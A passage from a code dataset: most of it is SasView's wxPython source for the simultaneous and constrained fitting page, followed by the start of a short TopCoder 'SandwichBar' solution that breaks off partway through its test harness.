self.hide_constraint.SetValue(False)\n self.show_constraint.SetValue(True)\n self._display_constraint(None)\n\n for index, item in enumerate(sim_state.constraints_list):\n model_cbox = item.pop('model_cbox')\n if model_cbox != \"\":\n constraint_value = item.pop('constraint')\n param = item.pop('param_cbox')\n equality = item.pop('egal_txt')\n for key, value in list(init_map.items()):\n model_cbox = model_cbox.replace(key, value)\n constraint_value = constraint_value.replace(key, value)\n for key, value in list(final_map.items()):\n model_cbox = model_cbox.replace(key, value)\n constraint_value = constraint_value.replace(key, value)\n\n self.constraints_list[index][0].SetValue(model_cbox)\n self._on_select_model(None)\n self.constraints_list[index][1].SetValue(param)\n self.constraints_list[index][2].SetLabel(equality)\n self.constraints_list[index][3].SetValue(constraint_value)\n self._on_add_constraint(None)\n self._manager.sim_page = self\n\n def _format_id(self, original_id):\n original_id = original_id.rstrip('1234567890.')\n new_id_list = original_id.split()\n new_id = ' '.join(new_id_list)\n return new_id\n\n\n\n def draw_page(self):\n \"\"\"\n Construct the Simultaneous/Constrained fit page. fills the first\n region (sizer1) with the list of available fit page pairs of data\n and models. Then fills sizer2 with the checkbox for adding\n constraints, and finally fills sizer3 with the fit button and\n instructions.\n \"\"\"\n\n # create blank list of constraints\n self.model_list = []\n self.model_to_fit = []\n self.constraints_list = []\n self.constraint_dict = {}\n self.nb_constraint = 0\n self.model_cbox_left = None\n self.model_cbox_right = None\n\n if len(self.model_list) > 0:\n for item in self.model_list:\n item[0].SetValue(False)\n self.manager.schedule_for_fit(value=0, uid=item[2])\n\n #-------------------------------------------------------\n # setup sizer1 (which fitpages to include)\n self.data_selection_sizer.Clear(True)\n box_description = wx.StaticBox(self, wx.ID_ANY, \"Fit Combinations\")\n boxsizer1 = wx.StaticBoxSizer(box_description, wx.VERTICAL)\n sizer_title = wx.BoxSizer(wx.HORIZONTAL)\n sizer_couples = wx.GridBagSizer(5, 5)\n\n # The wx GUI has a flag to enable a menu item, but can still be\n # reached via scripting. There is no guearantee future GUI\n # implementations force this check, either.\n # IMHO, this if statement should stay -- JRK 2016-OCT-05\n if len(self.page_finder) == 0:\n msg = \" No fit combinations are found! \\n\\n\"\n msg += \" Please load data and set up \"\n msg += \"at least one fit panels first...\"\n sizer_title.Add(wx.StaticText(self, wx.ID_ANY, msg))\n else:\n # store model\n self._store_model()\n\n self.cb1 = wx.CheckBox(self, wx.ID_ANY, 'Select all')\n self.cb1.SetValue(False)\n wx.EVT_CHECKBOX(self, self.cb1.GetId(), self.check_all_model_name)\n\n sizer_title.Add((10, 10), 0,\n wx.TOP | wx.BOTTOM | wx.EXPAND | wx.ADJUST_MINSIZE, border=5)\n sizer_title.Add(self.cb1, 0,\n wx.TOP | wx.BOTTOM | wx.LEFT | wx.EXPAND | wx.ADJUST_MINSIZE,\n border=5)\n\n # draw list of model and data names\n self._fill_sizer_model_list(sizer_couples)\n\n boxsizer1.Add(sizer_title, flag=wx.TOP | wx.BOTTOM, border=5)\n boxsizer1.Add(sizer_couples, 1, flag=wx.TOP | wx.BOTTOM, border=5)\n self.data_selection_sizer.Add(boxsizer1, 1, wx.EXPAND | wx.ALL, 10)\n # self.sizer1.Layout()\n\n #--------------------------------------------------------\n # set up the other 2 sizers: the constraints list and the\n # buttons (fit, help etc) sizer at the bottom of the page.\n # Note: the if statement should be removed along with the above\n # if statement as soon as it can be properly tested.\n # Nov. 22 2015 --PDB\n # As above, this page can be accessed through other means than the\n # base SasView GUI.\n # Oct. 5, 2016 --JRK\n if len(self.page_finder) > 0:\n # draw the sizer containing constraint info\n if not self.batch_on:\n self._fill_sizer_constraint()\n # draw fit button sizer\n self._fill_sizer_fit()\n\n def _fill_sizer_model_list(self, sizer):\n \"\"\"\n Receive a dictionary containing information to display model name\n \"\"\"\n ix = 0\n iy = 0\n sizer.Clear(True)\n\n new_name = wx.StaticText(self, wx.ID_ANY, ' Model Title ',\n style=wx.ALIGN_CENTER)\n new_name.SetBackgroundColour('orange')\n new_name.SetForegroundColour(wx.WHITE)\n sizer.Add(new_name, (iy, ix), (1, 1),\n wx.LEFT | wx.EXPAND | wx.ADJUST_MINSIZE, 15)\n ix += 2\n model_type = wx.StaticText(self, wx.ID_ANY, ' Model ')\n model_type.SetBackgroundColour('grey')\n model_type.SetForegroundColour(wx.WHITE)\n sizer.Add(model_type, (iy, ix), (1, 1),\n wx.EXPAND | wx.ADJUST_MINSIZE, 0)\n ix += 1\n data_used = wx.StaticText(self, wx.ID_ANY, ' Data ')\n data_used.SetBackgroundColour('grey')\n data_used.SetForegroundColour(wx.WHITE)\n sizer.Add(data_used, (iy, ix), (1, 1),\n wx.EXPAND | wx.ADJUST_MINSIZE, 0)\n ix += 1\n tab_used = wx.StaticText(self, wx.ID_ANY, ' FitPage ')\n tab_used.SetBackgroundColour('grey')\n tab_used.SetForegroundColour(wx.WHITE)\n sizer.Add(tab_used, (iy, ix), (1, 1),\n wx.EXPAND | wx.ADJUST_MINSIZE, 0)\n for id, value in self.page_finder.items():\n if id not in self.parent.opened_pages:\n continue\n\n if self.batch_on != self.parent.get_page_by_id(id).batch_on:\n continue\n\n data_list = []\n model_list = []\n # get data name and model objetta\n for fitproblem in value.get_fit_problem():\n\n data = fitproblem.get_fit_data()\n if not data.is_data:\n continue\n name = '-'\n if data is not None and data.is_data:\n name = str(data.name)\n data_list.append(name)\n\n model = fitproblem.get_model()\n if model is None:\n continue\n model_list.append(model)\n\n if len(model_list) == 0:\n continue\n # Draw sizer\n ix = 0\n iy += 1\n model = model_list[0]\n name = '_'\n if model is not None:\n name = str(model.name)\n cb = wx.CheckBox(self, wx.ID_ANY, name)\n cb.SetValue(False)\n cb.Enable(model is not None and data.is_data)\n sizer.Add(cb, (iy, ix), (1, 1),\n wx.LEFT | wx.EXPAND | wx.ADJUST_MINSIZE, 15)\n wx.EVT_CHECKBOX(self, cb.GetId(), self.check_model_name)\n ix += 2\n model_type = wx.StaticText(self, wx.ID_ANY,\n model.__class__.__name__)\n sizer.Add(model_type, (iy, ix), (1, 1),\n wx.EXPAND | wx.ADJUST_MINSIZE, 0)\n if self.batch_on:\n data_used = wx.ComboBox(self, wx.ID_ANY, style=wx.CB_READONLY)\n data_used.AppendItems(data_list)\n data_used.SetSelection(0)\n else:\n data_used = wx.StaticText(self, wx.ID_ANY, data_list[0])\n\n ix += 1\n sizer.Add(data_used, (iy, ix), (1, 1),\n wx.EXPAND | wx.ADJUST_MINSIZE, 0)\n ix += 1\n caption = value.get_fit_tab_caption()\n tab_caption_used = wx.StaticText(self, wx.ID_ANY, str(caption))\n sizer.Add(tab_caption_used, (iy, ix), (1, 1),\n wx.EXPAND | wx.ADJUST_MINSIZE, 0)\n\n self.model_list.append([cb, value, id, model])\n\n iy += 1\n sizer.Add((20, 20), (iy, ix), (1, 1),\n wx.LEFT | wx.EXPAND | wx.ADJUST_MINSIZE, 15)\n\n def _fill_sizer_constraint(self):\n \"\"\"\n Fill sizer containing constraint info\n \"\"\"\n msg = \"Select at least 1 model to add constraint \"\n wx.PostEvent(self.parent.parent, StatusEvent(status=msg))\n\n self.constraints_sizer.Clear(True)\n if self.batch_on:\n if self.constraints_sizer.IsShown():\n self.constraints_sizer.Show(False)\n return\n box_description = wx.StaticBox(self, wx.ID_ANY, \"Fit Constraints\")\n box_sizer1 = wx.StaticBoxSizer(box_description, wx.VERTICAL)\n sizer_title = wx.BoxSizer(wx.HORIZONTAL)\n self.sizer_all_constraints = wx.BoxSizer(wx.HORIZONTAL)\n self.sizer_constraints = wx.BoxSizer(wx.VERTICAL)\n sizer_button = wx.BoxSizer(wx.HORIZONTAL)\n\n self.hide_constraint = wx.RadioButton(self, wx.ID_ANY, 'No', (10, 10),\n style=wx.RB_GROUP)\n self.show_constraint = wx.RadioButton(self, wx.ID_ANY, 'Yes', (10, 30))\n self.Bind(wx.EVT_RADIOBUTTON, self._display_constraint,\n id=self.hide_constraint.GetId())\n self.Bind(wx.EVT_RADIOBUTTON, self._display_constraint,\n id=self.show_constraint.GetId())\n if self.batch_on:\n self.hide_constraint.Enable(False)\n self.show_constraint.Enable(False)\n self.hide_constraint.SetValue(True)\n self.show_constraint.SetValue(False)\n\n sizer_title.Add(wx.StaticText(self, wx.ID_ANY, \" Model\"))\n sizer_title.Add((10, 10))\n sizer_title.Add(wx.StaticText(self, wx.ID_ANY, \" Parameter\"))\n sizer_title.Add((10, 10))\n sizer_title.Add(wx.StaticText(self, wx.ID_ANY, \" Add Constraint?\"))\n sizer_title.Add((10, 10))\n sizer_title.Add(self.show_constraint)\n sizer_title.Add(self.hide_constraint)\n sizer_title.Add((10, 10))\n\n self.btAdd = wx.Button(self, self.ID_ADD, 'Add')\n self.btAdd.Bind(wx.EVT_BUTTON, self._on_add_constraint,\n id=self.btAdd.GetId())\n self.btAdd.SetToolTipString(\"Add another constraint?\")\n self.btAdd.Hide()\n\n text_hint = wx.StaticText(self, wx.ID_ANY,\n \"Example: [M0][parameter] = M1.parameter\")\n sizer_button.Add(text_hint, 0,\n wx.LEFT | wx.EXPAND | wx.ADJUST_MINSIZE, 10)\n sizer_button.Add(self.btAdd, 0,\n wx.LEFT | wx.EXPAND | wx.ADJUST_MINSIZE, 10)\n\n box_sizer1.Add(sizer_title, flag=wx.TOP | wx.BOTTOM, border=10)\n box_sizer1.Add(self.sizer_all_constraints, flag=wx.TOP | wx.BOTTOM,\n border=10)\n box_sizer1.Add(self.sizer_constraints, flag=wx.TOP | wx.BOTTOM,\n border=10)\n box_sizer1.Add(sizer_button, flag=wx.TOP | wx.BOTTOM, border=10)\n\n self.constraints_sizer.Add(box_sizer1, 0, wx.EXPAND | wx.ALL, 10)\n\n def _fill_sizer_fit(self):\n \"\"\"\n Draw fit button\n \"\"\"\n self.run_fit_sizer.Clear(True)\n box_description = wx.StaticBox(self, wx.ID_ANY, \"Fit \")\n boxsizer1 = wx.StaticBoxSizer(box_description, wx.VERTICAL)\n sizer_button = wx.BoxSizer(wx.HORIZONTAL)\n\n # Fit button\n self.btFit = wx.Button(self, self.ID_FIT, 'Fit', size=wx.DefaultSize)\n self.btFit.Bind(wx.EVT_BUTTON, self.on_fit, id=self.btFit.GetId())\n self.btFit.SetToolTipString(\"Perform fit.\")\n\n # General Help button\n self.btHelp = wx.Button(self, wx.ID_HELP, 'HELP')\n if self.batch_on:\n self.btHelp.SetToolTipString(\"Combined Batch Fitting help.\")\n else:\n self.btHelp.SetToolTipString(\"Simultaneous/Constrained Fitting help.\")\n self.btHelp.Bind(wx.EVT_BUTTON, self._on_help)\n\n # hint text on button line\n if self.batch_on:\n text = \" Fit in Parallel all Data sets\\n\"\n text += \"and model selected.\"\n else:\n text = \" At least one set of model and data\\n\"\n text += \" must be selected for fitting.\"\n text_hint = wx.StaticText(self, wx.ID_ANY, text)\n\n sizer_button.Add(text_hint)\n sizer_button.Add(self.btFit, 0, wx.LEFT | wx.ADJUST_MINSIZE, 10)\n sizer_button.Add(self.btHelp, 0, wx.LEFT | wx.ADJUST_MINSIZE, 10)\n\n boxsizer1.Add(sizer_button, flag=wx.TOP | wx.BOTTOM, border=10)\n self.run_fit_sizer.Add(boxsizer1, 0, wx.EXPAND | wx.ALL, 10)\n\n def on_remove(self, event):\n \"\"\"\n Remove constraint fields\n \"\"\"\n if len(self.constraints_list) == 1:\n self.hide_constraint.SetValue(True)\n self._hide_constraint()\n return\n if len(self.constraints_list) == 0:\n return\n wx.CallAfter(self._remove_after, event.GetId())\n # self._onAdd_constraint(None)\n\n def _remove_after(self, id):\n for item in self.constraints_list:\n if id == item.btRemove.GetId():\n self.sizer_constraints.Hide(item.sizer)\n item.sizer.Clear(True)\n self.sizer_constraints.Remove(item.sizer)\n self.constraints_list.remove(item)\n self.nb_constraint -= 1\n self.constraints_sizer.Layout()\n self.FitInside()\n break\n\n def on_fit(self, event):\n \"\"\"\n signal for fitting\n\n \"\"\"\n if self.fit_started:\n self._stop_fit()\n self.fit_started = False\n return\n\n flag = False\n # check if the current page a simultaneous fit page or a batch page\n if self == self._manager.sim_page:\n flag = (self._manager.sim_page.uid == self.uid)\n\n # making sure all parameters content a constraint\n if not self.batch_on and self.show_constraint.GetValue():\n if not self._set_constraint():\n return\n # model was actually selected from this page to be fit\n if len(self.model_to_fit) >= 1:\n self.manager._reset_schedule_problem(value=0)\n for item in self.model_list:\n if item[0].GetValue():\n self.manager.schedule_for_fit(value=1, uid=item[2])\n try:\n self.fit_started = True\n wx.CallAfter(self.set_fitbutton)\n if not self.manager.onFit(uid=self.uid):\n return\n except:\n msg = \"Select at least one parameter to fit in the FitPages.\"\n wx.PostEvent(self.parent.parent, StatusEvent(status=msg))\n else:\n msg = \"Select at least one model check box to fit \"\n wx.PostEvent(self.parent.parent, StatusEvent(status=msg))\n self.set_state()\n\n def _on_fit_complete(self):\n \"\"\"\n Set the completion flag and display the updated fit button label.\n \"\"\"\n self.fit_started = False\n self.set_fitbutton()\n\n def _stop_fit(self, event=None):\n \"\"\"\n Attempt to stop the fitting thread\n\n :param event: Event handler when stop fit is clicked\n \"\"\"\n if event is not None:\n event.Skip()\n self.manager.stop_fit(self.uid)\n self.manager._reset_schedule_problem(value=0)\n self._on_fit_complete()\n\n def set_fitbutton(self):\n \"\"\"\n Set fit button label depending on the fit_started\n \"\"\"\n label = \"Stop\" if self.fit_started else \"Fit\"\n color = \"red\" if self.fit_started else \"black\"\n\n self.btFit.SetLabel(label)\n self.btFit.SetForegroundColour(color)\n self.btFit.Enable(True)\n\n def _on_help(self, event):\n \"\"\"\n Bring up the simultaneous Fitting Documentation whenever the HELP\n button is clicked.\n\n Calls DocumentationWindow with the path of the location within the\n documentation tree (after /doc/ ....\". Note that when using old\n versions of Wx (before 2.9) and thus not the release version of\n installers, the help comes up at the top level of the file as\n web browser does not pass anything past the # to the browser when it is\n running \"file:///....\"\n\n :param event: Triggers on clicking the help button\n \"\"\"\n _TreeLocation = \"user/sasgui/perspectives/fitting/fitting_help.html\"\n if not self.batch_on:\n _PageAnchor = \"#simultaneous-fit-mode\"\n _doc_viewer = DocumentationWindow(self, self.ID_DOC, _TreeLocation,\n _PageAnchor,\n \"Simultaneous/Constrained Fitting Help\")\n else:\n _PageAnchor = \"#combined-batch-fit-mode\"\n _doc_viewer = DocumentationWindow(self, self.ID_DOC, _TreeLocation,\n _PageAnchor,\n \"Combined Batch Fit Help\")\n\n def set_manager(self, manager):\n \"\"\"\n set panel manager\n\n :param manager: instance of plugin fitting\n \"\"\"\n self.manager = manager\n\n def check_all_model_name(self, event=None):\n \"\"\"\n check all models names\n \"\"\"\n self.model_to_fit = []\n if self.cb1.GetValue():\n for item in self.model_list:\n if item[0].IsEnabled():\n item[0].SetValue(True)\n self.model_to_fit.append(item)\n\n # constraint info\n self._store_model()\n if not self.batch_on:\n # display constraint fields\n if (self.show_constraint.GetValue() and\n len(self.constraints_list) == 0):\n self._show_all_constraint()\n self._show_constraint()\n else:\n for item in self.model_list:\n item[0].SetValue(False)\n\n if not self.batch_on:\n # constraint info\n self._hide_constraint()\n\n self._update_easy_setup_cb()\n self.FitInside()\n\n def check_model_name(self, event):\n \"\"\"\n Save information related to checkbox and their states\n \"\"\"\n self.model_to_fit = []\n for item in self.model_list:\n if item[0].GetValue():\n self.model_to_fit.append(item)\n else:\n if item in self.model_to_fit:\n self.model_to_fit.remove(item)\n self.cb1.SetValue(False)\n\n # display constraint fields\n if len(self.model_to_fit) >= 1:\n self._store_model()\n if not self.batch_on and self.show_constraint.GetValue() and\\\n len(self.constraints_list) == 0:\n self._show_all_constraint()\n self._show_constraint()\n\n elif len(self.model_to_fit) < 1:\n # constraint info\n self._hide_constraint()\n\n self._update_easy_setup_cb()\n # set the value of the main check button\n if len(self.model_list) == len(self.model_to_fit):\n self.cb1.SetValue(True)\n self.FitInside()\n return\n else:\n self.cb1.SetValue(False)\n self.FitInside()\n\n def _update_easy_setup_cb(self):\n \"\"\"\n Update easy setup combobox on selecting a model\n \"\"\"\n if self.model_cbox_left is None or self.model_cbox_right is None:\n return\n\n models = [(item[3].name, item[3]) for item in self.model_to_fit]\n setComboBoxItems(self.model_cbox_left, models)\n setComboBoxItems(self.model_cbox_right, models)\n for item in self.constraints_list:\n setComboBoxItems(item[0], models)\n if self.model_cbox_left.GetSelection() == wx.NOT_FOUND:\n self.model_cbox_left.SetSelection(0)\n self.constraints_sizer.Layout()\n\n def _store_model(self):\n \"\"\"\n Store selected model\n \"\"\"\n if len(self.model_to_fit) < 1:\n return\n for item in self.model_to_fit:\n model = item[3]\n page_id = item[2]\n self.constraint_dict[page_id] = model\n\n def _display_constraint(self, event):\n \"\"\"\n Show fields to add constraint\n \"\"\"\n if len(self.model_to_fit) < 1:\n msg = \"Select at least 1 model to add constraint \"\n wx.PostEvent(self.parent.parent, StatusEvent(status=msg))\n # hide button\n self._hide_constraint()\n return\n if self.show_constraint.GetValue():\n self._show_all_constraint()\n self._show_constraint()\n self.FitInside()\n return\n else:\n self._hide_constraint()\n return\n\n def _show_all_constraint(self):\n \"\"\"\n Show constraint fields\n \"\"\"\n box_description = wx.StaticBox(self, wx.ID_ANY, \"Easy Setup \")\n box_sizer = wx.StaticBoxSizer(box_description, wx.HORIZONTAL)\n sizer_constraint = wx.BoxSizer(wx.HORIZONTAL)\n self.model_cbox_left = wx.ComboBox(self, wx.ID_ANY, style=wx.CB_READONLY)\n self.model_cbox_left.Clear()\n self.model_cbox_right = wx.ComboBox(self, wx.ID_ANY, style=wx.CB_READONLY)\n self.model_cbox_right.Clear()\n wx.EVT_COMBOBOX(self.model_cbox_left, wx.ID_ANY, self._on_select_modelcb)\n wx.EVT_COMBOBOX(self.model_cbox_right, wx.ID_ANY, self._on_select_modelcb)\n egal_txt = wx.StaticText(self, wx.ID_ANY, \" = \")\n self.set_button = wx.Button(self, self.ID_SET_ALL, 'Set All')\n self.set_button.Bind(wx.EVT_BUTTON, self._on_set_all_equal,\n id=self.set_button.GetId())\n set_tip = \"Add constraints for all the adjustable parameters \"\n set_tip += \"(checked in FitPages) if exist.\"\n self.set_button.SetToolTipString(set_tip)\n self.set_button.Disable()\n\n for id, model in self.constraint_dict.items():\n # check if all parameters have been selected for constraint\n # then do not allow add constraint on parameters\n self.model_cbox_left.Append(str(model.name), model)\n self.model_cbox_left.Select(0)\n for id, model in self.constraint_dict.items():\n # check if all parameters have been selected for constraint\n # then do not allow add constraint on parameters\n self.model_cbox_right.Append(str(model.name), model)\n box_sizer.Add(self.model_cbox_left,\n flag=wx.RIGHT | wx.EXPAND, border=10)\n # box_sizer.Add(wx.StaticText(self, wx.ID_ANY, \".parameters\"),\n # flag=wx.RIGHT | wx.EXPAND, border=5)\n box_sizer.Add(egal_txt, flag=wx.RIGHT | wx.EXPAND, border=5)\n box_sizer.Add(self.model_cbox_right,\n flag=wx.RIGHT | wx.EXPAND, border=10)\n # box_sizer.Add(wx.StaticText(self, wx.ID_ANY, \".parameters\"),\n # flag=wx.RIGHT | wx.EXPAND, border=5)\n box_sizer.Add((20, -1))\n box_sizer.Add(self.set_button, flag=wx.RIGHT | wx.EXPAND, border=5)\n sizer_constraint.Add(box_sizer, flag=wx.RIGHT | wx.EXPAND, border=5)\n self.sizer_all_constraints.Insert(before=0,\n item=sizer_constraint,\n flag=wx.TOP | wx.BOTTOM | wx.EXPAND, border=5)\n self.FitInside()\n\n def _on_select_modelcb(self, event):\n \"\"\"\n On select model left or right combobox\n \"\"\"\n event.Skip()\n flag = True\n if self.model_cbox_left.GetValue().strip() == '':\n flag = False\n if self.model_cbox_right.GetValue().strip() == '':\n flag = False\n if (self.model_cbox_left.GetValue() ==\n self.model_cbox_right.GetValue()):\n flag = False\n self.set_button.Enable(flag)\n\n def _on_set_all_equal(self, event):\n \"\"\"\n On set button\n \"\"\"\n event.Skip()\n length = len(self.constraints_list)\n if length < 1:\n return\n param_list = []\n param_list_b = []\n selection = self.model_cbox_left.GetCurrentSelection()\n model_left = self.model_cbox_left.GetValue()\n model = self.model_cbox_left.GetClientData(selection)\n selection_b = self.model_cbox_right.GetCurrentSelection()\n model_right = self.model_cbox_right.GetValue()\n model_b = self.model_cbox_right.GetClientData(selection_b)\n for id, dic_model in self.constraint_dict.items():\n if model == dic_model:\n param_list = self.page_finder[id].get_param2fit()\n if model_b == dic_model:\n param_list_b = self.page_finder[id].get_param2fit()\n if len(param_list) > 0 and len(param_list_b) > 0:\n break\n num_cbox = 0\n has_param = False\n for param in param_list:\n num_cbox += 1\n if param in param_list_b:\n item = self.constraints_list[-1]\n item.model_cbox.SetStringSelection(model_left)\n self._on_select_model(None)\n item.param_cbox.Clear()\n item.param_cbox.Append(str(param), model)\n item.param_cbox.SetStringSelection(str(param))\n item.constraint.SetValue(str(model_right + \".\" + str(param)))\n has_param = True\n if num_cbox == (len(param_list) + 1):\n break\n self._show_constraint()\n\n self.FitInside()\n if not has_param:\n msg = \" There is no adjustable parameter (checked to fit)\"\n msg += \" either one of the models.\"\n wx.PostEvent(self.parent.parent, StatusEvent(info=\"warning\",\n status=msg))\n else:\n msg = \" The constraints are added.\"\n wx.PostEvent(self.parent.parent, StatusEvent(info=\"info\",\n status=msg))\n\n def _show_constraint(self):\n \"\"\"\n Show constraint fields\n :param dict: dictionary mapping constraint values\n \"\"\"\n self.btAdd.Show(True)\n if len(self.constraints_list) != 0:\n nb_fit_param = 0\n for id, model in self.constraint_dict.items():\n nb_fit_param += len(self.page_finder[id].get_param2fit())\n # Don't add anymore\n if len(self.constraints_list) == nb_fit_param:\n msg = \"Cannot add another constraint. Maximum of number \"\n msg += \"Parameters name reached %s\" % str(nb_fit_param)\n wx.PostEvent(self.parent.parent, StatusEvent(status=msg))\n self.sizer_constraints.Layout()\n self.constraints_sizer.Layout()\n return\n if len(self.model_to_fit) < 1:\n msg = \"Select at least 1 model to add constraint \"\n wx.PostEvent(self.parent.parent, StatusEvent(status=msg))\n self.sizer_constraints.Layout()\n self.constraints_sizer.Layout()\n return\n\n sizer_constraint = wx.BoxSizer(wx.HORIZONTAL)\n\n # Model list\n model_cbox = wx.ComboBox(self, wx.ID_ANY, style=wx.CB_READONLY)\n model_cbox.Clear()\n for id, model in self.constraint_dict.items():\n # check if all parameters have been selected for constraint\n # then do not allow add constraint on parameters\n model_cbox.Append(str(model.name), model)\n wx.EVT_COMBOBOX(model_cbox, wx.ID_ANY, self._on_select_model)\n\n # Parameters in model\n param_cbox = wx.ComboBox(self, wx.ID_ANY, style=wx.CB_READONLY,\n size=(100, -1))\n param_cbox.Hide()\n wx.EVT_COMBOBOX(param_cbox, wx.ID_ANY, self._on_select_param)\n\n egal_txt = wx.StaticText(self, wx.ID_ANY, \" = \")\n\n # Parameter constraint\n constraint = wx.TextCtrl(self, wx.ID_ANY)\n\n # Remove button\n #btRemove = wx.Button(self, self.ID_REMOVE, 'Remove')\n bt_remove = wx.Button(self, next(self._ids), 'Remove')\n bt_remove.Bind(wx.EVT_BUTTON, self.on_remove,\n id=bt_remove.GetId())\n bt_remove.SetToolTipString(\"Remove constraint.\")\n bt_remove.Hide()\n\n # Hid the add button, if it exists\n if hasattr(self, \"btAdd\"):\n self.btAdd.Hide()\n\n sizer_constraint.Add((5, -1))\n sizer_constraint.Add(model_cbox, flag=wx.RIGHT | wx.EXPAND, border=10)\n sizer_constraint.Add(param_cbox, flag=wx.RIGHT | wx.EXPAND, border=5)\n sizer_constraint.Add(egal_txt, flag=wx.RIGHT | wx.EXPAND, border=5)\n sizer_constraint.Add(constraint, flag=wx.RIGHT | wx.EXPAND, border=10)\n sizer_constraint.Add(bt_remove, flag=wx.RIGHT | wx.EXPAND, border=10)\n\n self.sizer_constraints.Insert(before=self.nb_constraint,\n item=sizer_constraint, flag=wx.TOP | wx.BOTTOM | wx.EXPAND,\n border=5)\n c = ConstraintLine(model_cbox, param_cbox, egal_txt,\n constraint, bt_remove, sizer_constraint)\n self.constraints_list.append(c)\n\n self.nb_constraint += 1\n self.sizer_constraints.Layout()\n self.constraints_sizer.Layout()\n self.Layout()\n\n def _hide_constraint(self):\n \"\"\"\n hide buttons related constraint\n \"\"\"\n for id in self.page_finder.keys():\n self.page_finder[id].clear_model_param()\n\n self.nb_constraint = 0\n self.constraint_dict = {}\n if hasattr(self, \"btAdd\"):\n self.btAdd.Hide()\n self._store_model()\n if self.model_cbox_left is not None:\n self.model_cbox_left.Clear()\n self.model_cbox_left = None\n if self.model_cbox_right is not None:\n self.model_cbox_right.Clear()\n self.model_cbox_right = None\n self.constraints_list = []\n self.sizer_all_constraints.Clear(True)\n self.sizer_all_constraints.Layout()\n self.sizer_constraints.Clear(True)\n self.sizer_constraints.Layout()\n self.constraints_sizer.Layout()\n self.Layout()\n self.FitInside()\n\n def _on_select_model(self, event):\n \"\"\"\n fill combo box with list of parameters\n \"\"\"\n if not self.constraints_list:\n return\n\n # This way PC/MAC both work, instead of using event.GetClientData().\n model_cbox = self.constraints_list[-1].model_cbox\n n = model_cbox.GetCurrentSelection()\n if n == wx.NOT_FOUND:\n return\n\n model = model_cbox.GetClientData(n)\n param_list = []\n for id, dic_model in self.constraint_dict.items():\n if model == dic_model:\n param_list = self.page_finder[id].get_param2fit()\n break\n\n param_cbox = self.constraints_list[-1].param_cbox\n param_cbox.Clear()\n # insert only fittable paramaters\n for param in param_list:\n param_cbox.Append(str(param), model)\n param_cbox.Show(True)\n\n bt_remove = self.constraints_list[-1].btRemove\n bt_remove.Show(True)\n self.btAdd.Show(True)\n# self.Layout()\n self.FitInside()\n\n def _on_select_param(self, event):\n \"\"\"\n Store the appropriate constraint in the page_finder\n \"\"\"\n # This way PC/MAC both work, instead of using event.GetClientData().\n # n = self.param_cbox.GetCurrentSelection()\n # model = self.param_cbox.GetClientData(n)\n # param = event.GetString()\n\n if self.constraints_list:\n self.constraints_list[-1].egal_txt.Show(True)\n self.constraints_list[-1].constraint.Show(True)\n\n def _on_add_constraint(self, event):\n \"\"\"\n Add another line for constraint\n \"\"\"\n if not self.show_constraint.GetValue():\n msg = \" Select Yes to add Constraint \"\n wx.PostEvent(self.parent.parent, StatusEvent(status=msg))\n return\n # check that a constraint is added\n # before allow to add another constraint\n for item in self.constraints_list:\n if item.model_cbox.GetString(0) == \"\":\n msg = \" Select a model Name! \"\n wx.PostEvent(self.parent.parent, StatusEvent(status=msg))\n return\n if item.param_cbox.GetString(0) == \"\":\n msg = \" Select a parameter Name! \"\n wx.PostEvent(self.parent.parent, StatusEvent(status=msg))\n return\n if item.constraint.GetValue().lstrip().rstrip() == \"\":\n model = item.param_cbox.GetClientData(\n item.param_cbox.GetCurrentSelection())\n if model is not None:\n msg = \" Enter a constraint for %s.%s! \" % (model.name,\n item.param_cbox.GetString(0))\n else:\n msg = \" Enter a constraint\"\n wx.PostEvent(self.parent.parent, StatusEvent(status=msg))\n return\n # some model or parameters can be constrained\n self._show_constraint()\n self.FitInside()\n\n def _set_constraint(self):\n \"\"\"\n get values from the constraint textcrtl ,parses them into model name\n parameter name and parameters values.\n store them in a list self.params .when when params is not empty\n set_model uses it to reset the appropriate model\n and its appropriates parameters\n \"\"\"\n for item in self.constraints_list:\n select0 = item.model_cbox.GetSelection()\n if select0 == wx.NOT_FOUND:\n continue\n model = item.model_cbox.GetClientData(select0)\n select1 = item.param_cbox.GetSelection()\n if select1 == wx.NOT_FOUND:\n continue\n param = item.param_cbox.GetString(select1)\n constraint = item.constraint.GetValue().lstrip().rstrip()\n if param.lstrip().rstrip() == \"\":\n param = None\n msg = \" Constraint will be ignored!. missing parameters\"\n msg += \" in combobox to set constraint! \"\n wx.PostEvent(self.parent.parent, StatusEvent(status=msg))\n for id, value in self.constraint_dict.items():\n if model == value:\n if constraint == \"\":\n msg = \" Constraint will be ignored!. missing value\"\n msg += \" in textcrtl to set constraint! \"\n wx.PostEvent(self.parent.parent,\n StatusEvent(status=msg))\n constraint = None\n if str(param) in self.page_finder[id].get_param2fit():\n msg = \" Checking constraint for parameter: %s \", param\n wx.PostEvent(self.parent.parent,\n StatusEvent(info=\"info\", status=msg))\n else:\n model_name = item[0].GetLabel()\n fitpage = self.page_finder[id].get_fit_tab_caption()\n msg = \"All constrainted parameters must be set \"\n msg += \" adjustable: '%s.%s' \" % (model_name, param)\n msg += \"is NOT checked in '%s'. \" % fitpage\n msg += \" Please check it to fit or\"\n msg += \" remove the line of the constraint.\"\n wx.PostEvent(self.parent.parent,\n StatusEvent(info=\"error\", status=msg))\n return False\n\n for fid in self.page_finder[id].keys():\n # wrap in param/constraint in str() to remove unicode\n self.page_finder[id].set_model_param(str(param),\n str(constraint), fid=fid)\n break\n return True\n\n def on_set_focus(self, event=None):\n \"\"\"\n The derivative class is on focus if implemented\n \"\"\"\n if self.parent is not None:\n if self.parent.parent is not None:\n wx.PostEvent(self.parent.parent, PanelOnFocusEvent(panel=self))\n self.page_finder = self.parent._manager.get_page_finder()\n\n\ndef setComboBoxItems(cbox, items):\n assert isinstance(cbox, wx.ComboBox)\n selected = cbox.GetStringSelection()\n cbox.Clear()\n for k, (name, value) in enumerate(items):\n cbox.Append(name, value)\n cbox.SetStringSelection(selected)\n","sub_path":"jhub37_mantid_baseline/sasview-5.0.3/src/sas/sasgui/perspectives/fitting/simfitpage.py","file_name":"simfitpage.py","file_ext":"py","file_size_in_byte":43608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"511713070","text":"import math,string,itertools,fractions,heapq,collections,re,array,bisect,random\n\nclass SandwichBar:\n def whichOrder(self, available, orders):\n for i,o in enumerate(orders):\n o = o.split(\" \")\n if set(available).intersection(set(o)) == set(o):\n return i\n\n return -1\n\n# BEGIN KAWIGIEDIT TESTING\n# Generated by KawigiEdit-pf 2.3.0\nimport sys\nimport time\ndef KawigiEdit_RunTest(testNum, p0, p1, 